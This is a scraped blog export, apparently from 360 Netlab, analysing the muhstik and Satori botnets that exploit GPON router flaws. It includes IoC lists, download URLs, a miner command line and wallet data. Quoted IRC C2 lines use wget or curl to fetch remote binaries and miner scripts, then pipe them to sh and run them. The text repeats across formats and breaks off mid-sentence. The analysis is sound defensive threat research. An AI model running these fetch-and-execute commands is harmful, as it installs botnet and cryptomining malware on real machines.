PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi > /dev/null 2>&1 &\n```\n\n\\#muhstik-i586 #implant xmrig32 miner program\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &\n```\n\n#### Muhstik May Has a Long History\n\nWhen tracing back, we found the following domain names are related to muhstik. These domain names has a longer history back to 2016.\n```\ndasan.deutschland-zahlung.eu\n134.ip-51-254-219.eu\nuranus.kei.su\nwireless.kei.su\nwww.kei.su\ny.fd6fq54s6df541q23sdxfg.eu\n```\n\nWe will continue to monitor this activity, if readers have new discoveries, feel free to contact us on our [**twitter**](https://twitter.com/360Netlab).\n\n\n#### IoC\nMuhstik C2 List\n```\n139.99.101.96:9090\tAS16276 OVH SAS\t\n144.217.84.99:9090\tAS16276 OVH SAS\t\n145.239.84.0:9090\tAS16276 OVH SAS\t\n147.135.210.184:9090\tAS16276 OVH SAS\t\n142.44.163.168:9090\tAS16276 OVH SAS\t\n192.99.71.250:9090\tAS16276 OVH SAS\t\n142.44.240.14:9090\tAS16276 OVH SAS\t\n121.128.171.44:9090\tAS4766 Korea Telecom\t#Not active now\n66.70.190.236:9090\tAS16276 OVH SAS\t #Not active now\n145.239.93.125:9090\tAS16276 OVH SAS\t\nirc.de-zahlung.eu:9090\t\t #Not active now\n```\n\nMuhstik Malware URL\n```\nhxxp://51.254.221.129/c/cron\nhxxp://51.254.221.129/c/tfti\nhxxp://51.254.221.129/c/pftp\nhxxp://51.254.221.129/c/ntpd\nhxxp://51.254.221.129/c/sshd\nhxxp://51.254.221.129/c/bash\nhxxp://51.254.221.129/c/pty\nhxxp://51.254.221.129/c/shy\nhxxp://51.254.221.129/c/nsshtfti\nhxxp://51.254.221.129/c/nsshcron\nhxxp://51.254.221.129/c/nsshpftp\nhxxp://51.254.221.129/c/fbsd\nhxxp://191.238.234.227/x/aiox86\n```\n\nMuhstik Self-built Mining Pool\n```\n47.135.208.145:4871\n```\nMuhstik Malware MD5\n```\nc37016e34304ff4a2a0db1894cdcdb92 #main sample\nda17dc1438bb039968a5737c6fbc88cd #scanning module\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

115

post

2018-05-08T01:26:58.000Z

63873b9a8b1c1e0007f52f23

gpon-exploit-in-the-wild-ii-satori-botnet

2018-10-06T09:04:17.000Z

public

published

2018-05-16T11:07:55.000Z

GPON 漏洞的在野利用（二）——Satori 僵尸网络

<!--kg-card-begin: markdown--><p>本篇文章由 Rootkiter，yegenshen，Hui Wang 共同撰写。</p> <p>我们在之前的 <a href="__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others/">文章</a> 里提及，在本次GPON漏洞（CVE-2018-10561，CVE-2018-10562）公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori等等。</p> <p>在上一篇文章里，我们详细介绍了 muhstik 僵尸网络的情况。在那篇文章发布的前后，通过与安全社区共同的努力，我们累积关闭了muhstik僵尸网络在 OVH 上的12 个IP地址，以及在微软网络上的 1 个IP地址。详细的IP地址列表，见附件 IoC部分。</p> <p>【更新：值得一提的是，当前绝大部分这些僵尸网络的漏洞利用部分效果是有问题的。根据我们的估计，只有大约2%的特定版本GPON家用路由器受到这些僵尸网络的影响，绝大部分位于墨西哥。这时由于这些僵尸网络使用PoC的方式造成的。】</p> <p>其他的僵尸网络包括：</p> <ul> <li><strong>Satori</strong>：satori是臭名昭著的mirai僵尸网络变种，该恶意代码团伙在2018-05-10 05:51:18 首次加入到抢夺 GPON 易感染设备的行列，并在短短时间内就挤掉了 muhstik，成为我们视野范围内感染频次最高的一员。<s>另外，我们测试验证了Satori的投入模块，在某些版本的设备固件上是能成功执行的。这使得Satori显著区别于参与聚会的其他僵尸网络。</s></li> <li><strong>Mettle</strong>：一个恶意代码团伙，基于在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源控制模块</li> <li><strong>Hajime</strong>：hajime的本次更新也包含了 GPON 本次的漏洞利用</li> <li><strong>两个Mirai变种</strong>：至少两个恶意代码团伙正在积极利用该漏洞传播mirai变种。其中第二个，已经被称为 <a href="https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3">omni</a>。</li> <li><strong>Omni</strong>：在 newskysecurity.com 首次公开批露后，我们确认其文档中称为 omni 的僵尸网络，就是我们之前提及的mirai变种之二。</li> <li><strong>imgay</strong>：这看起来是一个正在开发中的僵尸网络，其功能尚不完善。</li> </ul> <p>本篇文章将主要介绍 Satori 僵尸网络的本轮更新。后续我们也许会发布系列文章的第三篇，对剩下的其他僵尸网络做一描述。第三篇预期会是系列文章的最后一篇，如果没有更多僵尸网络加入聚会的话。</p> <h4 id="">不同僵尸网络的投递力度对比</h4> <p>我们使用蜜罐来采集本次GPON相关漏洞的利用情况。下面列出了我们看到的攻击载荷活动频次Top10，完整的列表可以见文末IoC部分：</p> <pre><code>% botnet_name url 57.77% satori hxxp://185.62.190.191/r 32.66% muhstik hxxp://51.254.219.134/gpon.php 2.20% muhstik hxxp://162.243.211.204/gpon 1.99% muhstik hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php 0.96% muhstik hxxp://128.199.251.119/gpon.php 0.64% imgay hxxp://149.28.96.126/forky 0.60% imgay hxxp://149.28.96.126/80 0.57% imgay hxxp://149.28.96.126/ 0.57% imgay hxxp://149.28.96.126/81 0.53% muhstik hxxp://165.227.78.159/gpon.php </code></pre> <p>从上面这里采集的数据来看，Satori（累积57.80%）和 muhstik（累积38.87%）是当前GPON漏洞利用的主力。</p> <h4 id="satori">Satori 本轮更新涉及的恶意代码下载链接</h4> <p>Satori 在本轮更新中，使用了下面这组URL传播恶意代码：</p> <pre><code>hxxp://185.62.190.191/arm hxxp://185.62.190.191/arm7 hxxp://185.62.190.191/m68k hxxp://185.62.190.191/mips hxxp://185.62.190.191/mipsel hxxp://185.62.190.191/r hxxp://185.62.190.191/sparc </code></pre> <h4 id="satori">Satori 本轮更新涉及的恶意代码样本分析</h4> <p>我们对其中的样本 <a href="http://185.62.190.191/arm">http://185.62.190.191/arm</a> （md5hash:d546bc209d315ae81869315e8d536f36)做了分析。</p> <p>这个样本的代码，与原始版本的Satori已经有了比较大的变化，单纯从样本二进制方面，与原来的satori的关系已经不太大。但是考虑到其在关键字符串、域名 TXT 信息、邮件地址等多方面的联系，我们仍然把其归在Satori变种之下。</p> <p>该样本中有四个加密字符串，对应的解密结果分别如下：</p> <ol> <li>c.sunnyjuly.gq</li> <li>Viam0610TCiLpBvezPFGL2aG</li> <li>{&quot;id&quot;:0,&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;miner_reboot&quot;}</li> <li>{&quot;id&quot;:0,&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;miner_file&quot;,&quot;params&quot;:[&quot;reboot.bat&quot;,&quot;4574684463724d696e657236342e657865202d65706f6f6c206574682d7573322e6477617266706f6f6c2e636f6d3a38303038202d6577616c20307864303839376461393262643764373735346634656131386638313639646263303862656238646637202d6d6f64652031202d6d706f72742033333333202d6d707377206775764a746f43785539&quot;]}</li> </ol> <p>第一个字符串为C2，第二个字符串会在控制台被输出。<br> 第三、四个字符串在样本中仅被定义未被发现使用。值得一提的是这两个字符串和 <a href="__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/">Satori.robber</a> 中用到的代码相近，这可以作为该样本与 Satori 同源的一个旁证。</p> <p>第四个字符串后面的Hex 部分如下，包含了一个矿池地址，和一个钱包地址：</p> <pre><code>EthDcrMiner64.exe -epool eth-us2.dwarfpool.com:8008 -ewal 0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7 -mode 1 -mport 3333 -mpsw guvJtoCxU9 </code></pre> <h4 id="satori">Satori 本轮更新中涉及到的钱包地址</h4> <p>这个钱包地址的信息可查，如下。如果按照每24小时产生0.05 个 ETH 币，从5月10日到现在估计共挖取了 0.3 个 ETH 币。按照现行每个 ETH 代币价格 700 美金估算，Satori在目前6天的行动中共获取了大约 200 美元的收益。</p> <pre><code>$ curl &quot;http://dwarfpool.com/eth/api?wallet=0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7&quot; { &quot;autopayout_from&quot;: &quot;0.050&quot;, &quot;earning_24_hours&quot;: &quot;0.04629051&quot;, &quot;error&quot;: false, &quot;immature_earning&quot;: 0.0037158866909999997, &quot;last_payment_amount&quot;: &quot;0.05286277&quot;, #上一次发薪数额 &quot;last_payment_date&quot;: &quot;Tue, 15 May 2018 17:26:04 GMT&quot;, #上一次发薪时间 &quot;last_share_date&quot;: &quot;Wed, 16 May 2018 09:46:47 GMT&quot;, &quot;payout_daily&quot;: false, &quot;payout_request&quot;: false, &quot;total_hashrate&quot;: 137.57, &quot;total_hashrate_calculated&quot;: 781.0, &quot;transferring_to_balance&quot;: 0, &quot;wallet&quot;: &quot;0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7&quot;, #钱包地址 &quot;wallet_balance&quot;: &quot;0.02818296&quot;, #帐户余额，待发 &quot;workers&quot;: { &quot;&quot;: { &quot;alive&quot;: true, &quot;hashrate&quot;: 137.57, &quot;hashrate_below_threshold&quot;: false, &quot;hashrate_calculated&quot;: 781.0, &quot;last_submit&quot;: &quot;Wed, 16 May 2018 09:46:47 GMT&quot;, &quot;second_since_submit&quot;: 335, &quot;worker&quot;: &quot;&quot; } } } </code></pre> <h4 id="satori">Satori 本轮更新涉及域名解析，以及其对外界传递的信息</h4> <p>另外，c.sunnyjuly.gq 在DNS系统中一直没有提供IP地址解析，相反其提供了 TXT 解析，可以视为其作者对外界传达的信息。作者前后两次传递的信息如下：</p> <pre><code>2018-05-14 04:22:43 c.sunnyjuly.gq DNS_TXT Irdev here, i can be reached at [email protected], goodbye 2018-05-10 00:55:06 c.sunnyjuly.gq DNS_TXT It is always the simple that produces the marvelous </code></pre> <p>值得对比的是，在 <a href="__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/">Satori.robber</a> 中，Satori 的作者通过二进制文件向外界传递了如下信息。两次出现的信息，书写手法类似，所留下的邮件地址也均为 riseup.net 提供的邮箱。</p> <pre><code>Satori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected] </code></pre> <h4 id="satori3333">Satori 本轮更新导致了近期 端口3333 上的扫描</h4> <p>当前版本的Satori还会扫描 3333 端口，并直接导致了我们在 <a href="https://scan.netlab.360.com/#/dashboard?tsbeg=1523894400000&amp;tsend=1526486400000&amp;dstport=3333&amp;toplistname=srcas&amp;topn=10">ScanMon</a> 上的一次较大波动。这次扫描的来源大约有17k个独立IP地址，主要源自 Uninet S.A. de C.V.，隶属 telmex.com，位于墨西哥。</p> <p><img src="__GHOST_URL__/content/images/2018/05/satori-port-3333-scan.png" alt="" loading="lazy"></p> <h4 id="">联系我们</h4> <p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p> <h4 id="ioc">Ioc</h4> <p>曾经在 muhstik 控制之下，但已经被安全社区清除的IP列表：</p> <pre><code>139.99.101.96:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 145.239.93.125:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 51.254.221.129 &quot;AS16276 OVH SAS&quot; 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 51.254.219.137 &quot;AS16276 OVH SAS&quot; 51.254.219.134 &quot;AS16276 OVH SAS&quot; 191.238.234.227 &quot;AS8075 Microsoft Corporation&quot; </code></pre> <p>近期我们观察到的利用 GPON 分发恶意软件的下载链接</p> <pre><code>% botnet_name url Country &amp; Region ASN 57.77% satori hxxp://185.62.190.191/r Netherlands/NL AS49349 Dotsi, Unipessoal Lda. 32.66% muhstik hxxp://51.254.219.134/gpon.php France/FR AS16276 OVH SAS 2.20% muhstik hxxp://162.243.211.204/gpon United States/US New York AS62567 DigitalOcean, LLC 1.99% muhstik hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php United States/US Clifton AS14061 DigitalOcean, LLC 0.96% muhstik hxxp://128.199.251.119/gpon.php Singapore/SG Singapore AS14061 DigitalOcean, LLC 0.64% imgay hxxp://149.28.96.126/forky United States/US College Park None 0.60% imgay hxxp://149.28.96.126/80 United States/US College Park None 0.57% imgay hxxp://149.28.96.126/ United States/US College Park None 0.57% imgay hxxp://149.28.96.126/81 United States/US College Park None 0.53% muhstik hxxp://165.227.78.159/gpon.php United States/US Clifton AS14061 DigitalOcean, LLC 0.32% muhstik hxxp://162.243.211.204/gponexec United States/US New York AS62567 DigitalOcean, LLC 0.28% imgay hxxp://149.28.96.126/8080 United States/US College Park None 0.25% untitled-1 hxxp://186.219.47.178:8080 Brazil/BR AS262589 INTERNEXA Brasil Operadora de Telecomunicações S.A 0.11% imgay hxxp://149.28.96.126/imgay United States/US College Park None 0.11% muhstik hxxp://162.243.211.204/aio United States/US New York AS62567 DigitalOcean, LLC 0.11% muhstik hxxp://46.243.189.102/ Netherlands/NL AS205406 Hostio Solutions B.V. 0.07% untitled-2 hxxp://114.67.227.83/busybox China/CN Beijing AS4808 China Unicom Beijing Province Network 0.07% omni hxxp://185.246.152.173/omni Netherlands/NL AS56630 Melbikomas UAB 0.07% untitled-2 nc://114.67.227.83:7856 China/CN Beijing AS4808 China Unicom Beijing Province Network 0.04% satori hxxp://185.62.190.191/s Netherlands/NL AS49349 Dotsi, Unipessoal Lda. 0.04% untitled-2 hxxp://114.67.227.83 China/CN Beijing AS4808 China Unicom Beijing Province Network 0.04% untitled-3 hxxp://209.141.42.3/gponx United States/US Las Vegas AS53667 FranTech Solutions 0.04% untitled-2 hxxp://114.67.227.83/ China/CN Beijing AS4808 China Unicom Beijing Province Network </code></pre> <!--kg-card-end: markdown-->

本篇文章由 Rootkiter，yegenshen，Hui Wang 共同撰写。 我们在之前的 文章 里提及，在本次GPON漏洞（CVE-2018-10561，CVE-2018-10562）公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori等等。 在上一篇文章里，我们详细介绍了 muhstik 僵尸网络的情况。在那篇文章发布的前后，通过与安全社区共同的努力，我们累积关闭了muhstik僵尸网络在 OVH 上的12 个IP地址，以及在微软网络上的 1 个IP地址。详细的IP地址列表，见附件 IoC部分。 【更新：值得一提的是，当前绝大部分这些僵尸网络的漏洞利用部分效果是有问题的。根据我们的估计，只有大约2%的特定版本GPON家用路由器受到这些僵尸网络的影响，绝大部分位于墨西哥。这时由于这些僵尸网络使用PoC的方式造成的。】 其他的僵尸网络包括： * Satori：satori是臭名昭著的mirai僵尸网络变种，该恶意代码团伙在2018-05-10 05:51:18 首次加入到抢夺 GPON 易感染设备的行列，并在短短时间内就挤掉了 muhstik，成为我们视野范围内感染频次最高的一员。另外，我们测试验证了Satori的投入模块，在某些版本的设备固件上是能成功执行的。这使得Satori显著区别于参与聚会的其他僵尸网络。 * Mettle：一个恶意代码团伙，基于在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源控制模块 * Hajime：hajime的本次更新也包含了 GPON 本次的漏洞利用 * 两个Mirai变种：至少两个恶意代码团伙正在积极利用该漏洞传播mirai变种。其中第二个，已经被称为 omni。 * Omni：在 newskysecurity.com 首次公开批露后，我们确认其文档中称为 omni 的僵尸网络，就是我们之前提及的mirai变种之二。 * imgay：这看起来是一个正在开发中的僵尸网络，其功能尚不完善。 本篇文章将主要介绍 Satori 僵尸网络的本轮更新。后续我们也许会发布系列文章的第三篇，对剩下的其他僵尸网络做一描述。第三篇预期会是系列文章的最后一篇，如果没有更多僵尸网络加入聚会的话。 不同僵尸网络的投递力度对比 我们使用蜜罐来采集本次GPON相关漏洞的利用情况。下面列出了我们看到的攻击载荷活动频次Top10，完整的列表可以见文末IoC部分： % botnet_name url 57.77% satori hxxp://185.62.190.191/r 32.66% muhstik hxxp://51.254.219.134/gpon.php 2.20% muhstik hxxp://162.243.211.204/gpon 1.99% muhstik hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php 0.96% muhstik hxxp://128.199.251.119/gpon.php 0.64% imgay hxxp://149.28.96.126/forky 0.60% imgay hxxp://149.28.96.126/80 0.57% imgay hxxp://149.28.96.126/ 0.57% imgay hxxp://149.28.96.126/81 0.53% muhstik hxxp://165.227.78.159/gpon.php 从上面这里采集的数据来看，Satori（累积57.80%）和 muhstik（累积38.87%）是当前GPON漏洞利用的主力。 Satori 本轮更新涉及的恶意代码下载链接 Satori 在本轮更新中，使用了下面这组URL传播恶意代码： hxxp://185.62.190.191/arm hxxp://185.62.190.191/arm7 hxxp://185.62.190.191/m68k hxxp://185.62.190.191/mips hxxp://185.62.190.191/mipsel hxxp://185.62.190.191/r hxxp://185.62.190.191/sparc Satori 本轮更新涉及的恶意代码样本分析 我们对其中的样本 http://185.62.190.191/arm （md5hash:d546bc209d315ae81869315e8d536f36)做了分析。 这个样本的代码，与原始版本的Satori已经有了比较大的变化，单纯从样本二进制方面，与原来的satori的关系已经不太大。但是考虑到其在关键字符串、域名 TXT 信息、邮件地址等多方面的联系，我们仍然把其归在Satori变种之下。 该样本中有四个加密字符串，对应的解密结果分别如下： 1. c.sunnyjuly.gq 2. Viam0610TCiLpBvezPFGL2aG 3. {"id":0,"jsonrpc":"2.0","method":"miner_reboot"} 4. {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","4574684463724d696e657236342e657865202d65706f6f6c206574682d7573322e6477617266706f6f6c2e636f6d3a38303038202d6577616c20307864303839376461393262643764373735346634656131386638313639646263303862656238646637202d6d6f64652031202d6d706f72742033333333202d6d707377206775764a746f43785539"]} 第一个字符串为C2，第二个字符串会在控制台被输出。 第三、四个字符串在样本中仅被定义未被发现使用。值得一提的是这两个字符串和 Satori.robber 中用到的代码相近，这可以作为该样本与 Satori 同源的一个旁证。 第四个字符串后面的Hex 部分如下，包含了一个矿池地址，和一个钱包地址： EthDcrMiner64.exe -epool eth-us2.dwarfpool.com:8008 -ewal 0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7 -mode 1 -mport 3333 -mpsw guvJtoCxU9 Satori 本轮更新中涉及到的钱包地址 这个钱包地址的信息可查，如下。如果按照每24小时产生0.05 个 ETH 币，从5月10日到现在估计共挖取了 0.3 个 ETH 币。按照现行每个 ETH 代币价格 700 美金估算，Satori在目前6天的行动中共获取了大约 200 美元的收益。 $ curl "http://dwarfpool.com/eth/api?wallet=0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7" { "autopayout_from": "0.050", "earning_24_hours": "0.04629051", "error": false, "immature_earning": 0.0037158866909999997, "last_payment_amount": "0.05286277", #上一次发薪数额 "last_payment_date": "Tue, 15 May 2018 17:26:04 GMT", #上一次发薪时间 "last_share_date": "Wed, 16 May 2018 09:46:47 GMT", "payout_daily": false, "payout_request": false, "total_hashrate": 137.57, "total_hashrate_calculated": 781.0, "transferring_to_balance": 0, "wallet": "0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7", #钱包地址 "wallet_balance": "0.02818296", #帐户余额，待发 "workers": { "": { "alive": true, "hashrate": 137.57, "hashrate_below_threshold": false, "hashrate_calculated": 781.0, "last_submit": "Wed, 16 May 2018 09:46:47 GMT", "second_since_submit": 335, "worker": "" } } } Satori 本轮更新涉及域名解析，以及其对外界传递的信息 另外，c.sunnyjuly.gq 在DNS系统中一直没有提供IP地址解析，相反其提供了 TXT 解析，可以视为其作者对外界传达的信息。作者前后两次传递的信息如下： 2018-05-14 04:22:43 c.sunnyjuly.gq DNS_TXT Irdev here, i can be reached at [email protected], goodbye 2018-05-10 00:55:06 c.sunnyjuly.gq DNS_TXT It is always the simple that produces the marvelous 值得对比的是，在 Satori.robber 中，Satori 的作者通过二进制文件向外界传递了如下信息。两次出现的信息，书写手法类似，所留下的邮件地址也均为 riseup.net 提供的邮箱。 Satori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected] Satori 本轮更新导致了近期 端口3333 上的扫描 当前版本的Satori还会扫描 3333 端口，并直接导致了我们在 ScanMon 上的一次较大波动。这次扫描的来源大约有17k个独立IP地址，主要源自 Uninet S.A. de C.V.，隶属 telmex.com，位于墨西哥。 联系我们 感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。 Ioc 曾经在 muhstik 控制之下，但已经被安全社区清除的IP列表： 139.99.101.96:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 145.239.93.125:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 51.254.221.129 "AS16276 OVH SAS" 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 51.254.219.137 "AS16276 OVH SAS" 51.254.219.134 "AS16276 OVH SAS" 191.238.234.227 "AS8075 Microsoft Corporation" 近期我们观察到的利用 GPON 分发恶意软件的下载链接 % botnet_name url Country & Region ASN 57.77% satori hxxp://185.62.190.191/r Netherlands/NL AS49349 Dotsi, Unipessoal Lda. 32.66% muhstik hxxp://51.254.219.134/gpon.php France/FR AS16276 OVH SAS 2.20% muhstik hxxp://162.243.211.204/gpon United States/US New York AS62567 DigitalOcean, LLC 1.99% muhstik hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php United States/US Clifton AS14061 DigitalOcean, LLC 0.96% muhstik hxxp://128.199.251.119/gpon.php Singapore/SG Singapore AS14061 DigitalOcean, LLC 0.64% imgay hxxp://149.28.96.126/forky United States/US College Park None 0.60% imgay hxxp://149.28.96.126/80 United States/US College Park None 0.57% imgay hxxp://149.28.96.126/ United States/US College Park None 0.57% imgay hxxp://149.28.96.126/81 United States/US College Park None 0.53% muhstik hxxp://165.227.78.159/gpon.php United States/US Clifton AS14061 DigitalOcean, LLC 0.32% muhstik hxxp://162.243.211.204/gponexec United States/US New York AS62567 DigitalOcean, LLC 0.28% imgay hxxp://149.28.96.126/8080 United States/US College Park None 0.25% untitled-1 hxxp://186.219.47.178:8080 Brazil/BR AS262589 INTERNEXA Brasil Operadora de Telecomunicações S.A 0.11% imgay hxxp://149.28.96.126/imgay United States/US College Park None 0.11% muhstik hxxp://162.243.211.204/aio United States/US New York AS62567 DigitalOcean, LLC 0.11% muhstik hxxp://46.243.189.102/ Netherlands/NL AS205406 Hostio Solutions B.V. 0.07% untitled-2 hxxp://114.67.227.83/busybox China/CN Beijing AS4808 China Unicom Beijing Province Network 0.07% omni hxxp://185.246.152.173/omni Netherlands/NL AS56630 Melbikomas UAB 0.07% untitled-2 nc://114.67.227.83:7856 China/CN Beijing AS4808 China Unicom Beijing Province Network 0.04% satori hxxp://185.62.190.191/s Netherlands/NL AS49349 Dotsi, Unipessoal Lda. 0.04% untitled-2 hxxp://114.67.227.83 China/CN Beijing AS4808 China Unicom Beijing Province Network 0.04% untitled-3 hxxp://209.141.42.3/gponx United States/US Las Vegas AS53667 FranTech Solutions 0.04% untitled-2 hxxp://114.67.227.83/ China/CN Beijing AS4808 China Unicom Beijing Province Network

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"本篇文章由 Rootkiter，yegenshen，Hui Wang 共同撰写。\n\n\n\n我们在之前的 [文章](__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others/) 里提及，在本次GPON漏洞（CVE-2018-10561，CVE-2018-10562）公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori等等。\n\n在上一篇文章里，我们详细介绍了 muhstik 僵尸网络的情况。在那篇文章发布的前后，通过与安全社区共同的努力，我们累积关闭了muhstik僵尸网络在 OVH 上的12 个IP地址，以及在微软网络上的 1 个IP地址。详细的IP地址列表，见附件 IoC部分。\n\n【更新：值得一提的是，当前绝大部分这些僵尸网络的漏洞利用部分效果是有问题的。根据我们的估计，只有大约2%的特定版本GPON家用路由器受到这些僵尸网络的影响，绝大部分位于墨西哥。这时由于这些僵尸网络使用PoC的方式造成的。】\n\n其他的僵尸网络包括：\n\n - **Satori**：satori是臭名昭著的mirai僵尸网络变种，该恶意代码团伙在2018-05-10 05:51:18 首次加入到抢夺 GPON 易感染设备的行列，并在短短时间内就挤掉了 muhstik，成为我们视野范围内感染频次最高的一员。<s>另外，我们测试验证了Satori的投入模块，在某些版本的设备固件上是能成功执行的。这使得Satori显著区别于参与聚会的其他僵尸网络。</s>\n - **Mettle**：一个恶意代码团伙，基于在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源控制模块\n - **Hajime**：hajime的本次更新也包含了 GPON 本次的漏洞利用\n - **两个Mirai变种**：至少两个恶意代码团伙正在积极利用该漏洞传播mirai变种。其中第二个，已经被称为 [omni](https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3)。\n - **Omni**：在 newskysecurity.com 首次公开批露后，我们确认其文档中称为 omni 的僵尸网络，就是我们之前提及的mirai变种之二。\n - **imgay**：这看起来是一个正在开发中的僵尸网络，其功能尚不完善。\n\n本篇文章将主要介绍 Satori 僵尸网络的本轮更新。后续我们也许会发布系列文章的第三篇，对剩下的其他僵尸网络做一描述。第三篇预期会是系列文章的最后一篇，如果没有更多僵尸网络加入聚会的话。\n\n#### 不同僵尸网络的投递力度对比\n\n我们使用蜜罐来采集本次GPON相关漏洞的利用情况。下面列出了我们看到的攻击载荷活动频次Top10，完整的列表可以见文末IoC部分：\n\n```\n%\tbotnet_name\turl\n57.77%\tsatori\thxxp://185.62.190.191/r\n32.66%\tmuhstik\thxxp://51.254.219.134/gpon.php\n2.20%\tmuhstik\thxxp://162.243.211.204/gpon\n1.99%\tmuhstik\thxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php\n0.96%\tmuhstik\thxxp://128.199.251.119/gpon.php\n0.64%\timgay\thxxp://149.28.96.126/forky\n0.60%\timgay\thxxp://149.28.96.126/80\n0.57%\timgay\thxxp://149.28.96.126/\n0.57%\timgay\thxxp://149.28.96.126/81\n0.53%\tmuhstik\thxxp://165.227.78.159/gpon.php\n```\n\n从上面这里采集的数据来看，Satori（累积57.80%）和 muhstik（累积38.87%）是当前GPON漏洞利用的主力。\n\n#### Satori 本轮更新涉及的恶意代码下载链接\n\nSatori 在本轮更新中，使用了下面这组URL传播恶意代码：\n```\nhxxp://185.62.190.191/arm\nhxxp://185.62.190.191/arm7\nhxxp://185.62.190.191/m68k\nhxxp://185.62.190.191/mips\nhxxp://185.62.190.191/mipsel\nhxxp://185.62.190.191/r\nhxxp://185.62.190.191/sparc\n```\n\n#### Satori 本轮更新涉及的恶意代码样本分析\n\n我们对其中的样本 http://185.62.190.191/arm （md5hash:d546bc209d315ae81869315e8d536f36)做了分析。\n\n这个样本的代码，与原始版本的Satori已经有了比较大的变化，单纯从样本二进制方面，与原来的satori的关系已经不太大。但是考虑到其在关键字符串、域名 TXT 信息、邮件地址等多方面的联系，我们仍然把其归在Satori变种之下。\n\n该样本中有四个加密字符串，对应的解密结果分别如下：\n\n1. c.sunnyjuly.gq\n2. Viam0610TCiLpBvezPFGL2aG\n3. {\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_reboot\"}\n4. {\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\",\"4574684463724d696e657236342e657865202d65706f6f6c206574682d7573322e6477617266706f6f6c2e636f6d3a38303038202d6577616c20307864303839376461393262643764373735346634656131386638313639646263303862656238646637202d6d6f64652031202d6d706f72742033333333202d6d707377206775764a746f43785539\"]}\n\n第一个字符串为C2，第二个字符串会在控制台被输出。\n第三、四个字符串在样本中仅被定义未被发现使用。值得一提的是这两个字符串和 [Satori.robber](__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/) 中用到的代码相近，这可以作为该样本与 Satori 同源的一个旁证。\n\n第四个字符串后面的Hex 部分如下，包含了一个矿池地址，和一个钱包地址：\n```\nEthDcrMiner64.exe -epool eth-us2.dwarfpool.com:8008 -ewal 0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7 -mode 1 -mport 3333 -mpsw guvJtoCxU9\n```\n\n#### Satori 本轮更新中涉及到的钱包地址\n\n这个钱包地址的信息可查，如下。如果按照每24小时产生0.05 个 ETH 币，从5月10日到现在估计共挖取了 0.3 个 ETH 币。按照现行每个 ETH 代币价格 700 美金估算，Satori在目前6天的行动中共获取了大约 200 